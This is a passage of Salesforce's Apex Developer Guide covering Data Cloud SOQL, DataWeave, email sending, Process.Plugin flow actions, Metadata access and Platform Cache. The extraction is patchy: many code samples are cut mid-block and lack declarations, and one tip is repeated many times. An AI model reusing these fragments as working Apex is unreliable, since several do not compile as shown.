instance = new MessageModerator();
}
return instance;
}
/**
Default contructor is private to prevent others from instantiating this class
without using the factory.
Initializes the static members.
**/
private MessageModerator() {
initializeBlockList();
}
/**
Helper method that does the "heavy lifting" to load up the dictionaries
from the database.
Should only run once to initialize the static member which is used for
subsequent validations.
**/
private void initializeBlockList() {
if (blocklistedWords==null) {
// Fill list of blocklisted words
// ...
}
}
}
438
Apex Developer Guide Using Salesforce Features with Apex
Warning: Running SOQL queries against DMOs can result in Data Services credits being consumed from your Data Cloud
subscription. For more information on how usage is billed, see Data Cloud Billable Usage Types. Use caution when using FOR loops,
query locators, recursion, or any mechanism that can result in multiple queries to Data Cloud.
A static SOQL query against Data Cloud from Apex is considered a callout and is subject to the same restrictions as HTTP callouts from
Apex. For example, if there is pending DML, this sample code can result in an unexpected exception with this message:
UnexpectedException: A callout was unsuccessful because of pending uncommitted work
related to a process, flow, or Apex operation. Commit or roll back the work, and then
try again.
Security Considerations
You must consider field- and record-level access when using Apex with Data Cloud data model objects (DMOs). DMOs in all data spaces
are accessible from Apex in system mode, even when a permission set for the data space isn’t explicitly assigned. Read-only object-level
access checks are supported if the user has access to the data space. There’s currently no support for field-level security or for record-level
access control. Apex features, such as WITH USER_MODE, WITH SECURITY_ENFORCED, describe calls, and
Security.stripInaccessible(), can check only object-level access for DMOs.
Starting with API version 61.0, you can get information on a specific DMO using SObjectType.getDescribe(). There’s no
field-level security to be enforced because all fields on DMOs that are accessed by field describes and security model checks are read
only. You can’t use Schema.getGlobalDescribe() to discover exposed DMOs. Instead, use the
Schema.describeSObjects(List<String>) method with the known DMO API names.
This example uses static SOQL with the UnifiedIndividual__dlm Data Cloud object.
//Static SOQL example
List<UnifiedIndividual__dlm> unifiedIndividuals = [
SELECT
Id,
ssot__FirstName__c,
ssot__LastName__c,
ssot__Email__c,
ssot__SkyMilesBalance__c,
ssot__MedallionStatus__c
FROM UnifiedIndividual__dlm
WHERE ssot__CompanyId__c = :companyId
];
439
Apex Developer Guide Using Salesforce Features with Apex
The SOQL query must be against a DMO, either directly with a FROM clause or via a subquery. Also, these features are not allowed within
a stub implementation:
• SOQL
• SOSL
• Callouts
• Future methods
• Queueable Jobs
• Batch Jobs
• DML
• Platform Events
This example shows a mock test class for the SkyMilesForBusinessOptInController class.
@IsTest
public class SkyMilesForBusinessOptInController_Test {
@IsTest
public static void mockSoql() {
Assert.isTrue(Test.isSoqlStubDefined(UnifiedIndividual__dlm.sObjectType));
Test.startTest();
string companyId = 'SampleCompanyId';
// Performs SOQL query against Data Model Object
List<SkyMilesMember> members =
SkyMilesForBusinessOptInController.getSkyMilesProfilesFromDataCloud(companyId);
Test.stopTest();
Assert.areEqual(1, members.size());
Assert.areEqual(companyId, member.CompanyId);
440
Apex Developer Guide Using Salesforce Features with Apex
Assert.areEqual(5000, member.SkyMilesBalance);
}
Assert.areEqual(UnifiedIndividual__dlm.sObjectType, sot);
// Stub assumes that the SOQL query is searching for a single record by company
id
sot,
new Map<string, object> {
'ssot__FirstName__c' => 'Codey',
'ssot__LastName__c' => 'Bear',
'ssot__Email__c' => '[email protected]',
'ssot__SkyMilesBalance__c' => 5000,
'ssot__MedallionStatus__c' => 'Gold',
'ssot__CompanyId__c' => companyId
}
);
return new List<sObject> { dmo };
}
}
}
441
Apex Developer Guide Using Salesforce Features with Apex
individual.Id,
individual.ssot__FirstName__c,
individual.ssot__LastName__c,
individual.ssot__Email__c,
individual.ssot__SkyMilesBalance__c,
individual.ssot__MedallionStatus__c,
individual.ssot__CompanyId__c
)
);
}
return skyMilesMembers;
}
}
DataWeave in Apex
DataWeave in Apex uses the Mulesoft DataWeave library to read and parse data from one format, transform it, and export it in a different
format. You can create DataWeave scripts as metadata and invoke them directly from Apex. Like Apex, DataWeave scripts are run within
Salesforce application servers, enforcing the same heap and CPU limits on the executing code.
Enterprise applications often require transformation of data between formats such as CSV, JSON, XML, and Apex objects. DataWeave in
Apex complements native Apex support for JSON and XML processing, and makes data transformation easier to code, more scalable,
and efficient. Apex developers can focus more on solving business problems and less on addressing the specifics of file formats.
DataWeave is the MuleSoft expression language for accessing, parsing, and transforming data that travels through a Mule application.
For detailed information, see DataWeave Overview.
Note: You don’t have to be a MuleSoft customer or have any specific Salesforce license to use DataWeave in Apex.
442
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
Apex Reference Guide: DataWeave Namespace
Metadata API Developer Guide: DataWeaveResource
Salesforce DX Developer Guide: DataWeaveResource
DataWeave Namespace
The DataWeave namespace provides classes and methods to support the invocation of DataWeave scripts from Apex. The Script
class contains the createScript() method to load DataWeave scripts from .dwl metadata files that have been deployed to an
org. The resulting script can then be run with a payload using the execute() method to obtain script output in a
DataWeave.Result object. The Result class contains methods to retrieve script output using Script class methods. For
more information on these classes and methods, see DataWeave Namespace.
For every DataWeave script, an inner class of type DataWeaveScriptResource.ScriptName is generated. The inner class
extends the DataWeave.Script class. You can use the generated DataWeaveScriptResource.ScriptName class
instead of using the actual script name via the createScript() method. DataWeave scripts that are currently being referenced
via this inner class can't be deleted. To make the generated DataWeaveScriptResource class global, set the isGlobal field in the
DataWeaveResource metadata object.
The catchable System.DataWeaveScriptException exception is available for error handling. Runtime script exceptions that
occur within DataWeave are exposed to Apex with this exception type.
DataWeave scripts support logging using the log(string, value) function. Log messages that originate from DataWeave are
reflected in Apex debug logs as DATAWEAVE_USER_DEBUG events, under the Apex Code log category at the DEBUG log level.
Supporting Information
These tools support the development of DataWeave scripts.
• DataWeave Interactive Learning is an online interactive playground that you can use to test your DataWeave scripts.
• DataWeave 2.0 VSCode marketplace extension adds code highlighting and other feature support for editing DataWeave scripts.
443
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
Limitations of DataWeave in Apex
• Push the source to the scratch org using Salesforce CLI version v7.151.9 or higher. See Salesforce CLI Release Notes.
• Invoke the DataWeave script from Apex and check the results from anonymous Apex.
This example invokes the csvToContacts.dwl script.
// CSV data for Contacts
String inputCsv = 'first_name,last_name,email\nCodey,"The Bear",[email protected]';
DataWeave.Script dwscript = new DataWeaveScriptResource.csvToContacts();
DataWeave.Result dwresult = dwscript.execute(new Map<String, Object>{'records' =>
inputCsv});
List<Contact> results = (List<Contact>)dwresult.getValue();
Assert.areEqual(1, results.size());
Contact codeyContact = results[0];
Assert.areEqual('Codey',codeyContact.FirstName);
Assert.areEqual('The Bear',codeyContact.LastName);
Note: Extensive code samples that demonstrate the DataWeave in Apex feature are available on Developerforce.
444
Apex Developer Guide Using Salesforce Features with Apex
• Apex classes must be at API version 53.0 or later to access DataWeave integration methods.
• There’s a maximum of 50 DataWeave scripts per org.
• The maximum body size of one DataWeave script is 100,000 (one hundred thousand) characters.
Note: XML Entity Expansion isn’t supported, either currently or in the future, as a guard against denial of service attacks.
if (trigger.new[i].body.containsIgnoreCase('test phrase')) {
trigger.new[i].status = 'PendingReview';
System.debug('caught one for pendingReview');
}
445
Apex Developer Guide Using Salesforce Features with Apex
}
}
SEE ALSO:
Apex Reference Guide: Network Class
Apex Reference Guide: Connect in Apex
Email
You can use Apex to work with inbound and outbound email.
Use Apex with these email features:
Inbound Email
Use Apex to work with email sent to Salesforce.
Outbound Email
Use Apex to work with email sent from Salesforce.
Inbound Email
Use Apex to work with email sent to Salesforce.
You can use Apex to receive and process email and attachments. The email is received by the Apex email service, and processed by
Apex classes that utilize the InboundEmail object.
Note: The Apex email service is only available in Developer, Enterprise, Unlimited, and Performance Edition organizations.
Outbound Email
Use Apex to work with email sent from Salesforce.
You can use Apex to send individual and mass email. The email can include all standard email attributes (such as subject line and blind
carbon copy address), use Salesforce email templates, and be in plain text or HTML format, or those generated by Visualforce.
You can use Salesforce to track the status of email in HTML format, including the date the email was sent, first opened and last opened,
and the total number of times it was opened.
446
Apex Developer Guide Using Salesforce Features with Apex
To send individual and mass email with Apex, use the following classes:
SingleEmailMessage
Instantiates an email object used for sending a single email message. The syntax is:
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
MassEmailMessage
Instantiates an email object used for sending a mass email message. The syntax is:
Messaging.MassEmailMessage mail = new Messaging.MassEmailMessage();
Messaging
Includes the static sendEmail method, which sends the email objects you instantiate with either the SingleEmailMessage
or MassEmailMessage classes, and returns a SendEmailResult object.
The syntax for sending an email is:
Messaging.reserveMassEmailCapacity(count);
and
Messaging.reserveSingleEmailCapacity(count);
where count indicates the total number of addresses that emails will be sent to.
Note the following:
• The email is not sent until the Apex transaction is committed.
• The email address of the user calling the sendEmail method is inserted in the From Address field of the email header. All
email that is returned, bounced, or received out-of-office replies goes to the user calling the method.
• Maximum of 10 sendEmail methods per transaction. Use the Limits methods to verify the number of sendEmail methods
in a transaction.
• Single email messages sent with the sendEmail method count against the sending organization's daily single email limit. When
this limit is reached, calls to the sendEmail method using SingleEmailMessage are rejected, and the user receives a
SINGLE_EMAIL_LIMIT_EXCEEDED error code. However, single emails sent through the application are allowed.
• Mass email messages sent with the sendEmail method count against the sending organization's daily mass email limit. When
this limit is reached, calls to the sendEmail method using MassEmailMessage are rejected, and the user receives a
MASS_MAIL_LIMIT_EXCEEDED error code.
• Any error returned in the SendEmailResult object indicates that no email was sent.
Messaging.SingleEmailMessage has a method called setOrgWideEmailAddressId. It accepts an object ID to an
OrgWideEmailAddress object. If setOrgWideEmailAddressId is passed a valid ID, the
OrgWideEmailAddress.DisplayName field is used in the email header, instead of the logged-in user's Display Name.
The sending email address in the header is also set to the field defined in OrgWideEmailAddress.Address.
447
Apex Developer Guide Using Salesforce Features with Apex
Note: If both OrgWideEmailAddress.DisplayName and setSenderDisplayName are defined, the user receives
a DUPLICATE_SENDER_DISPLAY_NAME error.
For more information, see Organization-Wide Email Addresses in the Salesforce Help .
Example
// First, reserve email capacity for the current Apex transaction to ensure
// that we won't exceed our daily email limits when sending email after
// the current transaction is committed.
Messaging.reserveSingleEmailCapacity(2);
// Strings to hold the email addresses to which you are sending the email.
String[] toAddresses = new String[] {'[email protected]'};
String[] ccAddresses = new String[] {'[email protected]'};
// Assign the addresses for the To and CC lists to the mail object.
mail.setToAddresses(toAddresses);
mail.setCcAddresses(ccAddresses);
// Specify the address used when the recipients reply to the email.
mail.setReplyTo('[email protected]');
448
Apex Developer Guide Using Salesforce Features with Apex
External Services
External Services connect your Salesforce org to a service outside of Salesforce, such as an employee banking service. After you register
the external service, you can call it natively in your Apex code. Objects and operations defined in the external service's registered API
specification become Apex classes and methods in the ExternalService namespace. The registered service's schema types map
to Apex types, and are strongly typed, making the Apex compiler do the heavy lifting for you. For example, you can make a type safe
callout to an external service from Apex without needing to use the Http class or perform transforms on JSON strings.
SEE ALSO:
Salesforce Help: Invoke External Service Callouts Using Apex
Flows
Flow Builder lets admins build applications, known as flows, that automate a business process by collecting data and doing something
in your Salesforce org or an external system.
For example, you can create a flow to script calls for a customer support center or to generate real-time quotes for a sales team. You can
embed a flow in a Visualforce page or Aura component and access it in an Apex controller.
For more information about using Apex to start a flow, see Apex Reference Guide: Interview Class.
449
Apex Developer Guide Using Salesforce Features with Apex
}
}
SEE ALSO:
Apex Reference Guide: Interview Class
SEE ALSO:
InvocableMethod Annotation
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
• The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. After you
implement the interface on a class, the class can be referenced only from flows.
• The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
• Legacy Apex actions aren’t supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in
free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
When you define an Apex class that implements the Process.Plugin interface in your org, it's available in Flow Builder as a legacy
Apex action.
Process.Plugin has these top-level classes.
• Process.PluginRequest passes input parameters from the class that implements the interface to the flow.
450
Apex Developer Guide Using Salesforce Features with Apex
• Process.PluginResult returns output parameters from the class that implements the interface to the flow.
• Process.PluginDescribeResult passes input parameters from a flow to the class that implements the interface. This
class determines the input parameters and output parameters needed by the Process.PluginResult plug-in.
When you write Apex unit tests, instantiate a class and pass it into the interface invoke method. To pass in the parameters that the
system needs, create a map and use it in the constructor. For more information, see Using the Process.PluginRequest Class on page 453.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
• The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. After you
implement the interface on a class, the class can be referenced only from flows.
• The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
• Legacy Apex actions aren’t supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in
free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
The class that implements the Process.Plugin interface must call these methods.
451
Apex Developer Guide Using Salesforce Features with Apex
Example Implementation
global class flowChat implements Process.Plugin {
// return to Flow
Map<String,Object> result = new Map<String,Object>();
return new Process.PluginResult(result);
}
Test Class
The following is a test class for the preceding class.
@isTest
private class flowChatTest {
452
Apex Developer Guide Using Salesforce Features with Apex
plugin.invoke(request);
}
}
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
• The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. After you
implement the interface on a class, the class can be referenced only from flows.
• The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
• Legacy Apex actions aren’t supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in
free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
Here’s an example of instantiating the Process.PluginRequest class with one input parameter.
Map<String,Object> inputParams = new Map<String,Object>();
string feedSubject = 'Flow is alive';
InputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);
Code Example
In this example, the code returns the subject of a Chatter post from a flow and posts it to the current user's feed.
global Process.PluginResult invoke(Process.PluginRequest request) {
// Get the subject of the Chatter post from the flow
String subject = (String) request.inputParameters.get('subject');
// return to Flow
Map<String,Object> result = new Map<String,Object>();
return new Process.PluginResult(result);
}
453
Apex Developer Guide Using Salesforce Features with Apex
new Process.PluginDescribeResult.InputParameter('subject',
Process.PluginDescribeResult.ParameterType.STRING, true)
};
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
};
return result;
}
}
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
• The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. After you
implement the interface on a class, the class can be referenced only from flows.
• The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
• Legacy Apex actions aren’t supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in
free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
You can instantiate the Process.PluginResult class using one of the following formats:
• Process.PluginResult (Map<String,Object>)
• Process.PluginResult (String, Object)
Use the map when you have more than one result or when you don't know how many results are returned.
The following is an example of instantiating a Process.PluginResult class.
string url = 'https://docs.google.com/document/edit?id=abc';
String status = 'Success';
Map<String,Object> result = new Map<String,Object>();
result.put('url', url);
result.put('status',status);
new Process.PluginResult(result);
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
• The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. After you
implement the interface on a class, the class can be referenced only from flows.
• The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
• Legacy Apex actions aren’t supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in
free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
454
Apex Developer Guide Using Salesforce Features with Apex
• Data modification
• Email
• Apex nested callouts
Process.PluginDescribeResult.InputParameter ip = new
Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
Process.PluginDescribeResult.ParameterType.Enum, Boolean_required);
Process.PluginDescribeResult.OutputParameter op = new
new Process.PluginDescribeResult.OutputParameter(Name,Optional description string,
Process.PluginDescribeResult.ParameterType.Enum);
Process.PluginDescribeResult.inputParameters =
new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
Process.PluginDescribeResult.ParameterType.Enum, Boolean_required)
For example:
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.setDescription('this plugin gets the name of a user');
result.setTag ('userinfo');
result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('FullName',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.InputParameter('DOB',
Process.PluginDescribeResult.ParameterType.DATE, true),
};
Process.PluginDescribeResult.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{
455
Apex Developer Guide Using Salesforce Features with Apex
For example:
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.setDescription('this plugin gets the name of a user');
result.setTag ('userinfo');
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter('URL',
Process.PluginDescribeResult.ParameterType.STRING),
new Process.PluginDescribeResult.OutputParameter('URL',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.OutputParameter('STATUS',
Process.PluginDescribeResult.ParameterType.STRING),
};
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
• The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. After you
implement the interface on a class, the class can be referenced only from flows.
• The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
• Legacy Apex actions aren’t supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in
free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
456
Apex Developer Guide Using Salesforce Features with Apex
Date Datetime/Date
DateTime Datetime/Date
Text String
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
• The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. After you
implement the interface on a class, the class can be referenced only from flows.
• The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
• Legacy Apex actions aren’t supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in
free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
457
Apex Developer Guide Using Salesforce Features with Apex
overWriteLeadSource = false;
if (createOpportunity == null)
createOpportunity = true;
if (sendEmailToOwner == null)
sendEmailToOwner = false;
458
Apex Developer Guide Using Salesforce Features with Apex
Process.PluginDescribeResult.ParameterType.STRING,
true),
new Process.PluginDescribeResult.InputParameter(
'OpportunityName',
Process.PluginDescribeResult.ParameterType.STRING,
false),
new Process.PluginDescribeResult.InputParameter(
'OverwriteLeadSource',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false),
new Process.PluginDescribeResult.InputParameter(
'CreateOpportunity',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false),
new Process.PluginDescribeResult.InputParameter(
'SendEmailToOwner',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false)
};
return result;
}
/**
* Implementation of the LeadConvert plug-in.
* Converts a given lead with several options:
* leadID - ID of the lead to convert
* contactID -
* accountID - ID of the Account to attach the converted
* Lead/Contact/Opportunity to.
* convertedStatus -
* overWriteLeadSource -
* createOpportunity - true if you want to create a new
* Opportunity upon conversion
* opportunityName - Name of the new Opportunity.
* sendEmailtoOwner - true if you are changing owners upon
459
Apex Developer Guide Using Salesforce Features with Apex
460
Apex Developer Guide Using Salesforce Features with Apex
LeadStatus convertStatus =
[Select Id, MasterLabel from LeadStatus
where IsConverted=true limit 1];
inputParams.put('LeadID',testLead.ID);
inputParams.put('ConvertedStatus',
convertStatus.MasterLabel);
461
Apex Developer Guide Using Salesforce Features with Apex
System.Assert(aLead.isConverted);
/*
* This tests lead conversion with
* the Account ID specified.
*/
static testMethod void basicTestwithAccount() {
inputParams.put('LeadID',testLead.ID);
inputParams.put('AccountID',testAccount.ID);
inputParams.put('ConvertedStatus',
convertStatus.MasterLabel);
Lead aLead =
[select name, id, isConverted, convertedAccountID
from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
//System.debug('ACCOUNT AFTER' + aLead.convertedAccountID);
System.AssertEquals(testAccount.ID, aLead.convertedAccountID);
}
/*
* This tests lead conversion with the Account ID specified.
*/
static testMethod void basicTestwithAccounts() {
462
Apex Developer Guide Using Salesforce Features with Apex
insert testLead;
inputParams.put('LeadID',testLead.ID);
inputParams.put('ConvertedStatus',
convertStatus.MasterLabel);
Lead aLead =
[select name, id, isConverted, convertedAccountID
from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
}
/*
* -ve Test
*/
static testMethod void errorTest() {
463
Apex Developer Guide Using Salesforce Features with Apex
try {
result = aLeadPlugin.invoke(request);
}
catch (Exception e) {
System.debug('EXCEPTION' + e);
System.AssertEquals(1,1);
}
/*
* This tests the describe() method
*/
static testMethod void describeTest() {
VWFConvertLead aLeadPlugin =
new VWFConvertLead();
Process.PluginDescribeResult result =
aLeadPlugin.describe();
System.AssertEquals(
result.inputParameters.size(), 8);
System.AssertEquals(
result.OutputParameters.size(), 3);
Note: If formula fields on the input SObjects require a round-trip request to the database, use the
Formula.recalculateFormulas() method.
Formulas in Apex support these features.
• Reference Apex types in formula fields. The values contained in individual components of such Apex types are accessed and evaluated
by the formula. Address, Location, URL, and UUID System types are supported.
• Reference standard lookups and custom lookups in formula fields.
• Access polymorphic relationship fields.
• Access the return value from the toString() method in formula fields.
Formula evaluation in Apex is bound by the formula field character limit, but not the compile size limit. A formula can contain up to
3,900 characters including spaces, return characters, and comments.
464
Apex Developer Guide Using Salesforce Features with Apex
Formula functions that are available to use in Apex are ones that can be used in validation rules. For details, see Formula Operators and
Functions by Context.
SEE ALSO:
Apex Reference Guide: FormulaEval Namespace
Metadata
Salesforce uses metadata types and components to represent org configuration and customization. Metadata is used for org settings
that admins control, or configuration information applied by installed apps and packages.
Use the classes in the Metadata namespace to access metadata from within Apex code for tasks that include:
• Customizing app installs or upgrades—During or after an install (or upgrade), your app can create or update metadata to let users
configure your app.
• Customizing apps after installation—After your app is installed, you can use metadata in Apex to let admins configure your app
using the UI that your app provides rather than having admins manually use the standard Salesforce setup UI.
• Securely accessing protected metadata—Update metadata that your app uses internally without exposing these types and components
to your users.
• Creating custom configuration tools—Use metadata in Apex to provide custom tools for admins to customize apps and packages.
Metadata access in Apex is available for Apex classes using API version 40.0 and later.
For more information on metadata types and components, see the Metadata API Developer Guide and the Custom Metadata Types
Implementation Guide.
SEE ALSO:
Apex Reference Guide: Metadata Namespace
465
Apex Developer Guide Using Salesforce Features with Apex
to which types of orgs. There are also service protection limitations on how many deployments that you can enqueue at one time from
Apex. For more information, see Security Considerations.
Use the full name of the metadata component when retrieving and deploying metadata. The full name can include the namespace,
metadata type, and component name. If you’re updating components in a namespace, you must qualify the namespace for the component
in the full name. For example, the full name for a custom metadata MDType1__mdt component named Component1 that is contained
in the myPackage namespace is myPackage__MDType1__mdt.myPackage__Component1. For more information on the metadata
component full name syntax, see Metadata base type in the Metadata API Developer Guide.
You can retrieve and deploy metadata in post install scripts. In uninstall scripts, you can only retrieve, not deploy, metadata from Apex
code.
See Metadata.Operations for code examples for retrieving and deploying metadata.
Security Considerations
Be aware of security considerations when using Apex to access metadata.
Generally, Apex classes installed in the subscriber org can access any public, supported metadata type or component in the subscriber
org. Protected metadata, such as a custom metadata type that’s been marked protected, can only be accessed by Apex classes in the
same namespace as the protected metadata.
Additionally, for managed packages, if the managed package isn’t approved by Salesforce via security review, Apex classes in the package
can’t access public or protected metadata unless the Deploy Metadata from Non-Certified Package Versions via Apex org preference
is enabled. This preference, located under Setup > Apex Settings, must be enabled if admins or developers are installing managed
packages that haven’t passed security review for app testing or pilot purposes.
For deployments, because Metadata.Operations.enqueueDeployment() uses asynchronous Apex, queued deployment
jobs and deployment callbacks are counted as asynchronous jobs in the current org. Queued deployment jobs and callbacks are subject
to governor limits. See Lightning Platform Apex Limits. To preserve service function, we limit the number of Metadata API deployments
originating from Apex that can be enqueued at a time. See Limit on Enqueued Deployments from Apex.
Apps that access metadata via Apex must notify users that the app can retrieve or deploy metadata in the subscriber org. For installs
that access metadata, notify users in the description of your package. You can write your own notice, or use this sample:
This package can access and change metadata outside its namespace in the Salesforce
org where it’s installed.
Salesforce verifies the notice during the security review. For more information, see the ISVforce Guide.
466
Apex Developer Guide Using Salesforce Features with Apex
Tests for deployment request code verify the metadata components and component values that get created and assert that the
DeployContainer contains exactly what needs to be deployed.
Tests for deployment result code verify that your DeployCallback handles expected and unexpected results. Your
DeployCallback is normally called by Salesforce as part of the asynchronous deployment process. Therefore, to test your callback
outside of the deployment process, create tests that use your callback class directly. You also must create test DeployResults and
DeployCallbackContext instances to test your DeployCallback.handleResults() method.
When creating a test instance of DeployCallbackContext, subclass DeployCallbackContext and provide your own
implementation of getCallbackJobId().
// DeployCallbackContext subclass for testing that returns myJobId
public class TestingDeployCallbackContext extends Metadata.DeployCallbackContext {
private myJobId = null; // define to a canned ID you can use for testing
public override Id getCallbackJobId() {
return myJobId;
}
}
SEE ALSO:
Salesforce Help: Permission Set Groups
Apex Reference Guide: Test Class
467
Apex Developer Guide Using Salesforce Features with Apex
Platform Cache
The Lightning Platform Cache layer provides faster performance and better reliability when caching Salesforce session and org data.
Specify what to cache and for how long without using custom objects and settings or overloading a Visualforce view state. Platform
Cache improves performance by distributing cache space so that some applications or operations don’t steal capacity from others.
Because Apex runs in a multi-tenant environment with cached data living alongside internally cached data, caching involves minimal
disruption to core Salesforce processes.
468
Apex Developer Guide Using Salesforce Features with Apex
• Org cache—Stores data that any user in an org reuses. For example, the contents of navigation bars that dynamically display menu
items based on user profile are reused.
Unlike session cache, org cache is accessible across sessions, requests, and org users and profiles. Org cache expires when its specified
time-to-live (ttlsecs value) is reached.
Additionally, Salesforce provides 3 MB of free Platform Cache capacity for security-reviewed managed packages through a capacity type
called Provider Free capacity. You can allocate capacities to session cache and org cache from the Provider Free capacity.
The best data to cache is:
• Reused throughout a session
• Static (not rapidly changing)
• Otherwise expensive to retrieve
For both session and org caches, you can construct calls so that cached data in one namespace isn’t overwritten by similar data in
another. Optionally use the Cache.Visibility enumeration to specify whether Apex code can access cached data in a namespace
outside of the invoking namespace.
Each cache operation depends on the Apex transaction within which it runs. If the entire transaction fails, all cache operations in that
transaction are rolled back.
469
Apex Developer Guide Using Salesforce Features with Apex
SEE ALSO:
Apex Reference Guide: Session Class
Apex Reference Guide: Org Class
Apex Reference Guide: Partition Class
Apex Reference Guide: OrgPartition Class
Apex Reference Guide: SessionPartition Class
Apex Reference Guide: CacheBuilder Interface
470
Apex Developer Guide Using Salesforce Features with Apex
Limit Value
Maximum key size 50 characters
Edition-specific Limits
This table shows the amount of Platform Cache available for different types of orgs. To purchase more cache, contact your Salesforce
representative.
All others 0 MB
Limit Value
Minimum partition size 1 MB
Limit Value
Maximum size of a single cached item (for put() methods) 100 KB
Limit Value
Maximum size of a single cached item (for put() methods) 100 KB
471
Apex Developer Guide Using Salesforce Features with Apex
Limit Value
Default org cache time-to-live 86,400 seconds (24 hours)
1
Local cache is the application server’s in-memory container that the client interacts with during a request.
472
Apex Developer Guide Using Salesforce Features with Apex
Note: If platform cache code is intended for a package, don’t use the default partition in the package. Instead, explicitly reference
and package a non-default partition. Any package containing the default partition can’t be deployed.
SEE ALSO:
Apex Reference Guide: Partition Class
Apex Reference Guide: OrgPartition Class
Apex Reference Guide: SessionPartition Class
Metadata API Developer’s Guide: Platform Cache Partition Type
Local Cache
Platform Cache uses local cache to improve performance, ensure efficient use of the network, and support atomic transactions. Local
cache is the application server’s in-memory container that the client interacts with during a request. Cache operations don’t interact
with the caching layer directly, but instead interact with local cache.
For session cache, all cached items are loaded into local cache upon first request. All subsequent interactions use the local cache. Similarly,
an org cache get operation retrieves a value from the caching layer and stores it in the local cache. Subsequent requests for this value
are retrieved from the local cache. All mutable operations, such as put and remove, are also performed against the local cache. Upon
successful completion of the request, mutable operations are committed.
Note: Local cache doesn’t support concurrent operations. Mutable operations, such as put and remove, are performed against
the local cache and are only committed when the entire Apex request is successful. Therefore, other simultaneous requests don’t
see the results of the mutable operations.
Atomic Transactions
Each cache operation depends on the Apex request that it runs in. If the entire request fails, all cache operations in that request are rolled
back. Behind the scenes, the use of local cache supports these atomic transactions.
Eviction Algorithm
When possible, Platform Cache uses an LRU algorithm to evict keys from the cache. When cache limits are reached, keys are evicted
until the cache is reduced to 100-percent capacity. If session cache is used, the system removes cache evenly from all existing session
cache instances. Local cache also uses an LRU algorithm. When the maximum local cache size for a partition is reached, the least recently
used items are evicted from the local cache.
SEE ALSO:
Platform Cache Limits
473
Apex Developer Guide Using Salesforce Features with Apex
Cache.Session Methods
To store a value in the session cache, call the Cache.Session.put() method and supply a key and value. The key name is in the
format namespace.partition.key. For example, for namespace ns1, partition partition1, and key orderDate, the fully qualified
key name is ns1.partition1.orderDate.
This example stores a DateTime cache value with the key orderDate. Next, the snippet checks if the orderDate key is in the
cache, and if so, retrieves the value from the cache.
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Session.put('ns1.partition1.orderDate', dt);
if (Cache.Session.contains('ns1.partition1.orderDate')) {
DateTime cachedDt = (DateTime)Cache.Session.get('ns1.partition1.orderDate');
}
To refer to the default partition and the namespace of the invoking class, omit the namespace.partition prefix and specify the
key name.
Cache.Session.put('orderDate', dt);
